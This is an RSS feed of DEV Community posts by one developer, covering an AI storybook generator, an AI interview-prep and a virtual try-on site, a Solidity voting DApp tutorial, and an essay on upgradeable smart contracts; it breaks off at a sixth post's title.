<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: sourav maji</title>
    <description>The latest articles on DEV Community by sourav maji (@souravmaji1).</description>
    <link>https://dev.to/souravmaji1</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F889606%2F4c55b58e-623f-42bc-874d-5d847eca8981.jpg</url>
      <title>DEV Community: sourav maji</title>
      <link>https://dev.to/souravmaji1</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/souravmaji1"/>
    <language>en</language>
    <item>
      <title>Made AI-Powered Interactive Storybook Generator with Next.js, Gemini and Elevenlabs ️‍🔥</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Mon, 11 Nov 2024 06:10:31 +0000</pubDate>
      <link>https://dev.to/souravmaji1/made-ai-powered-interactive-storybook-generator-with-nextjs-gemini-and-elevenlabs-570e</link>
      <guid>https://dev.to/souravmaji1/made-ai-powered-interactive-storybook-generator-with-nextjs-gemini-and-elevenlabs-570e</guid>
      <description>&lt;p&gt;Hey there, fellow developers! 👋 Today, I'm excited to share how I built &lt;a href="https://www.crazystory.xyz" rel="noopener noreferrer"&gt;CrazyStory&lt;/a&gt;, an interactive storybook generator that combines the power of AI for story generation, text-to-speech, and image generation. This project showcases how to create an engaging web application that turns simple prompts into full-fledged illustrated stories with audio narration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ife7gr0bbxvp2mdl9dn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ife7gr0bbxvp2mdl9dn.png" alt="Image description" width="800" height="707"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tech Stack&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Frontend Framework: Next.js with React&lt;br&gt;
UI Components: shadcn/ui&lt;br&gt;
Styling: Tailwind CSS&lt;br&gt;
AI Services:&lt;/p&gt;

&lt;p&gt;Google's Gemini AI for story generation&lt;br&gt;
ElevenLabs API for text-to-speech&lt;br&gt;
GetImg.ai for image generation&lt;/p&gt;

&lt;p&gt;Additional Libraries:&lt;br&gt;
jsPDF for PDF generation&lt;br&gt;
Lucide React for icons&lt;br&gt;
React Hooks for state management&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Features&lt;/strong&gt;&lt;br&gt;
AI-powered story generation based on user prompts&lt;br&gt;
Automatic illustration generation for each story page&lt;br&gt;
Text-to-speech narration&lt;br&gt;
Interactive page navigation&lt;br&gt;
PDF and audio download capabilities&lt;br&gt;
Responsive design with a modern UI&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step-by-Step Implementation Guide&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Project Setup
First, create a new Next.js project with Tailwind CSS:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;npx create-next-app@latest story-wizard-pro --typescript --tailwind&lt;br&gt;
cd story-wizard-pro&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Install required dependencies:&lt;br&gt;
&lt;code&gt;npm install @google/generative-ai jspdf lucide-react&lt;br&gt;
npm install @radix-ui/react-dialog @radix-ui/react-slot&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;UI Components Setup
The application uses shadcn/ui components for a polished look. Install the core components:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;npx shadcn-ui@latest init&lt;br&gt;
npx shadcn-ui@latest add button card input dialog&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Core Functionality Implementation
Story Generation with Gemini AI
The story generation uses Google's Gemini AI model. Here's the key implementation:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const initializeChatSession = async () =&amp;gt; {
  const genAI = new GoogleGenerativeAI(process.env.NEXT_PUBLIC_GEMINI_API_KEY);

  const model = genAI.getGenerativeModel({
    model: "gemini-1.5-flash",
  });

  const generationConfig = {
    temperature: 1,
    topP: 0.95,
    topK: 64,
    maxOutputTokens: 8192,
  };

  const chatSession = model.startChat({
    generationConfig,
    safetySettings,
  });

  return chatSession;
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Image Generation Integration&lt;/strong&gt;&lt;br&gt;
The application uses GetImg.ai for generating illustrations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const generateImageForPage = async (pageContent) =&amp;gt; {
  const response = await fetch('https://api.getimg.ai/v1/flux-schnell/text-to-image', {
    method: 'POST',
    headers: {
      'Authorization': `Bearer ${YOUR_API_KEY}`,
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      prompt: pageContent.join(' '),
      width: 1200,
      height: 1200,
      steps: 2,
      output_format: 'png',
      response_format: 'url',
    }),
  });

  const data = await response.json();
  return data.url;
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Text-to-Speech Implementation&lt;/strong&gt;&lt;br&gt;
ElevenLabs API is used for generating natural-sounding narration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const generateAudio = async (text) =&amp;gt; {
  const response = await fetch("https://api.elevenlabs.io/v1/text-to-speech/21m00Tcm4TlvDq8ikWAM", {
    method: 'POST',
    headers: {
      "Accept": "audio/mpeg",
      "Content-Type": "application/json",
      "xi-api-key": YOUR_API_KEY
    },
    body: JSON.stringify({
      text: text,
      model_id: "eleven_monolingual_v1",
      voice_settings: {
        stability: 0.5,
        similarity_boost: 0.5
      }
    })
  });

  const blob = await response.blob();
  return URL.createObjectURL(blob);
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;User Interface Design
The UI is built with a combination of Tailwind CSS and shadcn/ui components. Here's the main layout structure:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div className="min-h-screen bg-gradient-to-b from-slate-900 via-slate-800 to-slate-900"&amp;gt;
  &amp;lt;NavigationBar /&amp;gt;
  &amp;lt;main className="container mx-auto px-4 py-8"&amp;gt;
    {/* Story Input Section */}
    &amp;lt;div className="max-w-2xl mx-auto space-y-4 mb-12"&amp;gt;
      &amp;lt;Input
        type="text"
        value={storyType}
        onChange={(e) =&amp;gt; setStoryType(e.target.value)}
        placeholder="What's your story about?"
        className="w-full pl-12 pr-4 py-3"
      /&amp;gt;
      &amp;lt;Button onClick={generateStory}&amp;gt;
        Generate Story
      &amp;lt;/Button&amp;gt;
    &amp;lt;/div&amp;gt;

    {/* Story Display Section */}
    &amp;lt;Card className="bg-slate-800/50 border-slate-700"&amp;gt;
      {/* Navigation Controls */}
      {/* Story Content */}
      {/* Audio Controls */}
    &amp;lt;/Card&amp;gt;
  &amp;lt;/main&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;PDF Generation
The PDF download feature uses jsPDF:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const downloadPDF = () =&amp;gt; {
  const pdf = new jsPDF();
  let y = 20;

  // Add title
  pdf.setFont("helvetica", "bold");
  pdf.setFontSize(16);
  pdf.text(`A Story About ${storyType}`, 105, y, { align: "center" });

  // Add content
  storyPages.forEach((page, index) =&amp;gt; {
    if (pageImages[index]) {
      pdf.addImage(pageImages[index], 'JPEG', 20, y, 170, 100);
    }
    // Add text content
    page.forEach(paragraph =&amp;gt; {
      const lines = pdf.splitTextToSize(paragraph, 170);
      lines.forEach(line =&amp;gt; {
        pdf.text(line, 20, y);
        y += 7;
      });
    });
  });

  pdf.save("storybook.pdf");
};
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br&gt;
Building Story Wizard Pro was an exciting journey into combining multiple AI services into a cohesive web application. The project demonstrates how modern web technologies can be used to create engaging, interactive experiences.&lt;/p&gt;

</description>
      <category>elevenlabs</category>
      <category>storybook</category>
      <category>nextjs</category>
      <category>ai</category>
    </item>
    <item>
      <title>Building an AI-Powered Interview Preparation Platform: A Developer's Journey🔥</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Thu, 04 Jul 2024 13:10:36 +0000</pubDate>
      <link>https://dev.to/souravmaji1/building-an-ai-powered-interview-preparation-platform-a-developers-journey-5h2i</link>
      <guid>https://dev.to/souravmaji1/building-an-ai-powered-interview-preparation-platform-a-developers-journey-5h2i</guid>
      <description>&lt;p&gt;Hey DEV Community! 👋 I'm excited to share a project I've been working on: an AI-powered interview preparation platform. This tool helps users practice for job interviews using AI-generated feedback. Here's an overview of the project and some technical insights.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7s6ipyhgztr3ydhtohuo.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7s6ipyhgztr3ydhtohuo.gif" alt="PrepMasterAI" width="400" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Project Overview
&lt;/h2&gt;

&lt;p&gt;The platform allows users to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Answer mock interview questions via voice or text input&lt;/li&gt;
&lt;li&gt;Receive AI-generated feedback on their responses&lt;/li&gt;
&lt;li&gt;Get a detailed analysis of their strengths and areas for improvement&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tech Stack
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Frontend: Nextjs with Javascript&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AI Model: Google Gemini AI model for interview analysis&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Speech-to-Text: react-hook-speech-to-text NPM package used for voice to text &lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Key Challenges and Solutions
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Accurate Speech Recognition&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implemented noise cancellation and used the Web Speech API for better accuracy
Added a text editor for users to correct any transcription errors&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Real-time AI Analysis&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Used web workers to run the AI model in the background, ensuring a responsive UI
Implemented a queue system to handle multiple requests efficiently&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Personalized Question Selection&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Developed an algorithm to dynamically select questions based on user performance and job role&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;Data Privacy&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Implemented end-to-end encryption for voice data
Used tokenization to anonymize user data for AI training&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Link of the Platform: &lt;a href="https://prepmasterai.vercel.app"&gt;PrepMasterAI&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'd love to hear your thoughts, suggestions, or questions about the project. Have you worked on similar AI-powered tools? What challenges did you face?&lt;/p&gt;

&lt;p&gt;Let's discuss in the comments!&lt;/p&gt;

</description>
      <category>interview</category>
      <category>ai</category>
      <category>openai</category>
      <category>career</category>
    </item>
    <item>
      <title>DressMeUp - AI Platform to try any dress virtually😱😱</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Mon, 01 Jul 2024 17:18:17 +0000</pubDate>
      <link>https://dev.to/souravmaji1/dressmeup-ai-platform-to-try-any-dress-virtually-1kdg</link>
      <guid>https://dev.to/souravmaji1/dressmeup-ai-platform-to-try-any-dress-virtually-1kdg</guid>
      <description>&lt;p&gt;In today's fast-paced world, convenience and efficiency are key. We're excited to introduce our cutting-edge AI platform that lets users virtually try on dresses without the hassle of physically wearing them. Whether you're looking to explore new styles from our curated collection or see how your own dresses look on you, our platform has you covered!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feythis8x1syi0xzent1j.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feythis8x1syi0xzent1j.gif" alt="DressMeUp" width="400" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Key Features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;h2&gt;
  
  
  Vast Dress Collection:
&lt;/h2&gt;

&lt;p&gt;Our platform boasts an extensive range of dresses to suit every occasion and style. From casual wear to formal attire, find the perfect outfit with just a few clicks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h2&gt;
  
  
  Personal Wardrobe Integration:
&lt;/h2&gt;

&lt;p&gt;Upload images of your own dresses and see how they look on you virtually. This feature ensures you never have to guess how a new purchase will fit into your existing wardrobe.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why Choose Our Platform?
&lt;/h2&gt;

&lt;p&gt;Enhanced Shopping Experience No more long fitting room lines or returns. Virtually try before you buy and make confident fashion choices from the comfort of your home.&lt;/p&gt;

&lt;h2&gt;
  
  
  Join the Revolution
&lt;/h2&gt;

&lt;p&gt;We invite developers and tech enthusiasts to explore and contribute to our platform. Together, we can push the boundaries of AI and AR technology to create an even more immersive and innovative virtual dressing experience.&lt;/p&gt;

&lt;p&gt;Visit our website &lt;a href="https://dressmeup.onrender.com"&gt;DressMeUp&lt;/a&gt; to learn more and start your virtual try-on journey today!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>gemini</category>
      <category>openai</category>
      <category>fashion</category>
    </item>
    <item>
      <title>Building a Decentralized Voting DApp: A Comprehensive Guide</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Tue, 21 May 2024 04:27:29 +0000</pubDate>
      <link>https://dev.to/souravmaji1/building-a-decentralized-voting-dapp-a-comprehensive-guide-2h66</link>
      <guid>https://dev.to/souravmaji1/building-a-decentralized-voting-dapp-a-comprehensive-guide-2h66</guid>
      <description>&lt;p&gt;Decentralized applications (DApps) have gained popularity due to their potential to revolutionize various industries, including voting systems. By leveraging blockchain technology, we can create secure, transparent, and tamper-proof voting platforms. In this article, we will guide you through building a decentralized voting DApp using Hardhat, including the smart contract code and a basic frontend. This guide assumes basic knowledge of blockchain, Ethereum, and web development.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Introduction
1.1. What is a Decentralized Voting DApp?
A decentralized voting DApp is an application that allows users to cast votes on a blockchain. The decentralized nature ensures that the voting process is transparent, immutable, and resistant to fraud. Each vote is recorded on the blockchain, making it easy to audit and verify the results.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;1.2. Benefits of Decentralized Voting&lt;br&gt;
Transparency: Every vote is publicly recorded on the blockchain, making the process transparent.&lt;br&gt;
Security: Blockchain's cryptographic nature ensures the integrity and security of the votes.&lt;br&gt;
Immutability: Once recorded, votes cannot be altered or deleted, preventing tampering.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Setting Up the Development Environment
2.1. Prerequisites
Before we start, ensure you have the following installed:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Node.js: JavaScript runtime for building the frontend.&lt;br&gt;
Hardhat: Development environment for Ethereum.&lt;br&gt;
Ganache: Personal blockchain for Ethereum development.&lt;br&gt;
MetaMask: Browser extension for interacting with Ethereum.&lt;br&gt;
2.2. Installing Dependencies&lt;br&gt;
Install Hardhat and Ganache CLI using npm:&lt;/p&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
npm install --save-dev hardhat&lt;br&gt;
npm install -g ganache-cli&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Writing the Smart Contract
3.1. Smart Contract Overview
The smart contract will handle the voting process, including candidate registration, vote casting, and result tallying. We'll use Solidity, a programming language for writing smart contracts on Ethereum.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;3.2. Smart Contract Code&lt;br&gt;
Create a new Hardhat project:&lt;/p&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
mkdir VotingDApp&lt;br&gt;
cd VotingDApp&lt;br&gt;
npx hardhat&lt;br&gt;
Select "Create a basic sample project" and follow the prompts.&lt;/p&gt;

&lt;p&gt;Create a new file Voting.sol in the contracts directory and add the following code:&lt;/p&gt;

&lt;p&gt;solidity&lt;br&gt;
Copy code&lt;br&gt;
// SPDX-License-Identifier: MIT&lt;br&gt;
pragma solidity ^0.8.0;&lt;/p&gt;

&lt;p&gt;contract Voting {&lt;br&gt;
    struct Candidate {&lt;br&gt;
        uint id;&lt;br&gt;
        string name;&lt;br&gt;
        uint voteCount;&lt;br&gt;
    }&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mapping(uint =&amp;gt; Candidate) public candidates;
mapping(address =&amp;gt; bool) public voters;
uint public candidatesCount;

event Voted(address indexed voter, uint indexed candidateId);

function addCandidate(string memory _name) public {
    candidatesCount++;
    candidates[candidatesCount] = Candidate(candidatesCount, _name, 0);
}

function vote(uint _candidateId) public {
    require(!voters[msg.sender], "You have already voted");
    require(_candidateId &amp;gt; 0 &amp;amp;&amp;amp; _candidateId &amp;lt;= candidatesCount, "Invalid candidate");

    voters[msg.sender] = true;
    candidates[_candidateId].voteCount++;

    emit Voted(msg.sender, _candidateId);
}

function getCandidate(uint _candidateId) public view returns (string memory name, uint voteCount) {
    Candidate memory candidate = candidates[_candidateId];
    return (candidate.name, candidate.voteCount);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
3.3. Deploying the Smart Contract&lt;br&gt;
Update scripts/deploy.js to deploy the Voting contract:&lt;/p&gt;

&lt;p&gt;javascript&lt;br&gt;
Copy code&lt;br&gt;
async function main() {&lt;br&gt;
  const Voting = await ethers.getContractFactory("Voting");&lt;br&gt;
  const voting = await Voting.deploy();&lt;/p&gt;

&lt;p&gt;await voting.deployed();&lt;/p&gt;

&lt;p&gt;console.log("Voting contract deployed to:", voting.address);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;main()&lt;br&gt;
  .then(() =&amp;gt; process.exit(0))&lt;br&gt;
  .catch((error) =&amp;gt; {&lt;br&gt;
    console.error(error);&lt;br&gt;
    process.exit(1);&lt;br&gt;
  });&lt;br&gt;
Start Ganache CLI:&lt;/p&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
ganache-cli&lt;br&gt;
Compile and deploy the contract:&lt;/p&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
npx hardhat compile&lt;br&gt;
npx hardhat run scripts/deploy.js --network localhost&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Building the Frontend
4.1. Setting Up React
We'll use React for the frontend. Initialize a new React project:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
npx create-react-app client&lt;br&gt;
cd client&lt;br&gt;
4.2. Connecting to the Blockchain&lt;br&gt;
Install web3 to interact with the Ethereum blockchain:&lt;/p&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
npm install web3&lt;br&gt;
Create a new file src/contracts/Voting.json and copy the ABI from the artifacts/contracts/Voting.sol/Voting.json file generated by Hardhat.&lt;/p&gt;

&lt;p&gt;4.3. Frontend Code&lt;br&gt;
Update src/App.js to include the following code:&lt;/p&gt;

&lt;p&gt;javascript&lt;br&gt;
Copy code&lt;br&gt;
import React, { useEffect, useState } from 'react';&lt;br&gt;
import Web3 from 'web3';&lt;br&gt;
import VotingContract from './contracts/Voting.json';&lt;/p&gt;

&lt;p&gt;const App = () =&amp;gt; {&lt;br&gt;
  const [account, setAccount] = useState('');&lt;br&gt;
  const [candidates, setCandidates] = useState([]);&lt;br&gt;
  const [contract, setContract] = useState(null);&lt;/p&gt;

&lt;p&gt;useEffect(() =&amp;gt; {&lt;br&gt;
    const loadBlockchainData = async () =&amp;gt; {&lt;br&gt;
      const web3 = new Web3(Web3.givenProvider || '&lt;a href="http://localhost:7545'"&gt;http://localhost:7545'&lt;/a&gt;);&lt;br&gt;
      const accounts = await web3.eth.requestAccounts();&lt;br&gt;
      setAccount(accounts[0]);&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  const networkId = await web3.eth.net.getId();
  const deployedNetwork = VotingContract.networks[networkId];
  const contract = new web3.eth.Contract(VotingContract.abi, deployedNetwork &amp;amp;&amp;amp; deployedNetwork.address);
  setContract(contract);

  const candidatesCount = await contract.methods.candidatesCount().call();
  const candidates = [];
  for (let i = 1; i &amp;lt;= candidatesCount; i++) {
    const candidate = await contract.methods.candidates(i).call();
    candidates.push(candidate);
  }
  setCandidates(candidates);
};

loadBlockchainData();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}, []);&lt;/p&gt;

&lt;p&gt;const vote = async (candidateId) =&amp;gt; {&lt;br&gt;
    await contract.methods.vote(candidateId).send({ from: account });&lt;br&gt;
    const candidate = await contract.methods.candidates(candidateId).call();&lt;br&gt;
    setCandidates(candidates.map(c =&amp;gt; c.id === candidateId ? candidate : c));&lt;br&gt;
  };&lt;/p&gt;

&lt;p&gt;return (&lt;br&gt;
    &lt;/p&gt;
&lt;br&gt;
      &lt;h1&gt;Voting DApp&lt;/h1&gt;
&lt;br&gt;
      &lt;p&gt;Your account: {account}&lt;/p&gt;
&lt;br&gt;
      &lt;h2&gt;Candidates&lt;/h2&gt;
&lt;br&gt;
      &lt;ul&gt;

        {candidates.map(candidate =&amp;gt; (
          &lt;li&gt;

            {candidate.name} - {candidate.voteCount} votes
             vote(candidate.id)}&amp;gt;Vote
          &lt;/li&gt;

        ))}
      &lt;/ul&gt;
&lt;br&gt;
    &lt;br&gt;
  );&lt;br&gt;
};

&lt;p&gt;export default App;&lt;br&gt;
4.4. Running the Frontend&lt;br&gt;
Start the React development server:&lt;/p&gt;

&lt;p&gt;sh&lt;br&gt;
Copy code&lt;br&gt;
npm start&lt;br&gt;
Open your browser and navigate to &lt;a href="http://localhost:3000"&gt;http://localhost:3000&lt;/a&gt;. You should see the voting DApp with the list of candidates and the ability to vote.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Conclusion
Building a decentralized voting DApp involves creating a smart contract to handle the voting logic and a frontend to interact with the contract. By leveraging blockchain technology, the DApp ensures a secure, transparent, and immutable voting process. This guide provided a basic implementation to get you started. You can further enhance the DApp by adding features like candidate registration restrictions, vote result display, and more sophisticated frontend design.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>blockchain</category>
      <category>voting</category>
      <category>smartrcontract</category>
      <category>dapps</category>
    </item>
    <item>
      <title>Steps to create Upgradeable Smart Contract 🚀🔥</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Tue, 26 Dec 2023 08:13:07 +0000</pubDate>
      <link>https://dev.to/souravmaji1/steps-to-create-upgradeable-smart-contract-11me</link>
      <guid>https://dev.to/souravmaji1/steps-to-create-upgradeable-smart-contract-11me</guid>
      <description>&lt;p&gt;In the ever-evolving landscape of blockchain technology, smart contracts stand as the backbone of decentralized applications (DApps). These self-executing contracts facilitate trustless transactions and automated processes on the blockchain. However, as the demands of the decentralized world grow, the need for flexibility and adaptability becomes paramount. Enter upgradable smart contracts – a revolutionary concept that allows developers to enhance and modify their contracts without compromising the integrity of the blockchain.&lt;/p&gt;

&lt;p&gt;In this comprehensive guide, we will delve into the steps required to create upgradable smart contracts, exploring the nuances of this cutting-edge technology and empowering developers to harness its potential.&lt;/p&gt;

&lt;p&gt;Understanding Upgradable Smart Contracts&lt;/p&gt;

&lt;p&gt;Before we embark on the journey of creating upgradable smart contracts, it's essential to grasp the concept at its core. Traditional smart contracts are immutable, meaning once deployed, their code cannot be altered. In contrast, upgradable smart contracts enable developers to modify and improve their code while preserving the contract's address and existing state. This flexibility is achieved through a proxy contract that serves as an intermediary, directing calls to the most recent version of the contract.&lt;/p&gt;

&lt;p&gt;Step 1: Choose a Solid Development Framework&lt;/p&gt;

&lt;p&gt;The foundation of any successful project lies in the tools at your disposal. When creating upgradable smart contracts, selecting a robust development framework is crucial. Ethereum, one of the leading blockchain platforms, offers frameworks like Truffle and Hardhat, both of which support upgradability. These frameworks streamline the development process and provide essential tools for testing, debugging, and deployment.&lt;/p&gt;

&lt;p&gt;Step 2: Implement the Proxy Pattern&lt;/p&gt;

&lt;p&gt;The proxy pattern is the cornerstone of upgradable smart contracts. It involves creating a proxy contract that acts as an intermediary between the client and the actual contract logic. This proxy delegates calls to the current version of the contract, allowing for seamless upgrades without disrupting the existing infrastructure. OpenZeppelin's Proxy and Upgradeable libraries are widely used for implementing this pattern, providing a solid and secure foundation.&lt;/p&gt;

&lt;p&gt;Step 3: Separate Logic and Storage&lt;/p&gt;

&lt;p&gt;To facilitate smooth upgrades, it's crucial to separate contract logic from storage. This separation ensures that upgrading the logic does not impact the stored data. Use a dedicated storage contract to manage the data, while the logic contract focuses solely on executing functions. By adhering to this architectural principle, developers can effortlessly upgrade the logic without risking data loss.&lt;/p&gt;

&lt;p&gt;Step 4: Versioning and Dependency Management&lt;/p&gt;

&lt;p&gt;Maintaining clear versioning and managing dependencies are vital aspects of upgradable smart contract development. Assign a version number to each iteration of your contract, making it easy to track changes and communicate updates. Additionally, consider using package managers like NPM for dependency management, ensuring that external dependencies are well-maintained and compatible with your chosen framework.&lt;/p&gt;

&lt;p&gt;Step 5: Thorough Testing&lt;/p&gt;

&lt;p&gt;Testing is the linchpin of reliable smart contract development, and the same holds true for upgradable contracts. Rigorous testing helps identify vulnerabilities and ensures that the upgraded contract functions as intended. Utilize testing frameworks such as Mocha and Chai, along with tools like Truffle's testing suite, to perform comprehensive unit and integration tests. Automated testing not only enhances the robustness of your contract but also expedites the development cycle.&lt;/p&gt;

&lt;p&gt;Step 6: Admin Controls and Security Measures&lt;/p&gt;

&lt;p&gt;Granting administrative controls to manage upgrades is a critical consideration in upgradable smart contract design. Implement a secure mechanism that allows only authorized entities to trigger upgrades. OpenZeppelin's AdminUpgradeabilityProxy, for instance, provides a secure upgradeability strategy by designating specific addresses as administrators. This ensures that only trusted parties can initiate upgrades, mitigating potential security risks.&lt;/p&gt;

&lt;p&gt;Step 7: Documentation and Community Engagement&lt;/p&gt;

&lt;p&gt;Documenting your upgradable smart contract thoroughly is an often-overlooked but essential step. Clear documentation aids not only in your own development process but also in onboarding other developers and fostering community engagement. Share your code on platforms like GitHub, encourage collaboration, and provide detailed README files. Building a supportive community around your upgradable smart contract can lead to valuable insights, enhancements, and a more robust ecosystem.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;/p&gt;

&lt;p&gt;Creating upgradable smart contracts is a journey that requires a deep understanding of blockchain technology, a commitment to best practices, and a passion for innovation. By following these steps – from selecting a robust development framework to implementing versioning, testing, and security measures – developers can unlock the full potential of upgradable smart contracts.&lt;/p&gt;

&lt;p&gt;As we traverse the ever-evolving landscape of decentralized applications, embracing flexibility and adaptability becomes paramount. Upgradable smart contracts stand as a testament to the dynamic nature of blockchain technology, empowering developers to iterate, innovate, and shape the future of decentralized ecosystems. Armed with this comprehensive guide, let the journey to creating upgradable smart contracts commence, ushering in a new era of blockchain development.&lt;/p&gt;

</description>
      <category>smartcontract</category>
      <category>ethereum</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Deploy Your HTML Website on IPFS with GitHub and Fleek</title>
      <dc:creator>sourav maji</dc:creator>
      <pubDate>Thu, 07 Dec 2023 08:25:37 +0000</pubDate>
      <link>https://dev.to/souravmaji1/deploy-your-html-website-on-ipfs-with-github-and-fleek-3p85</link>
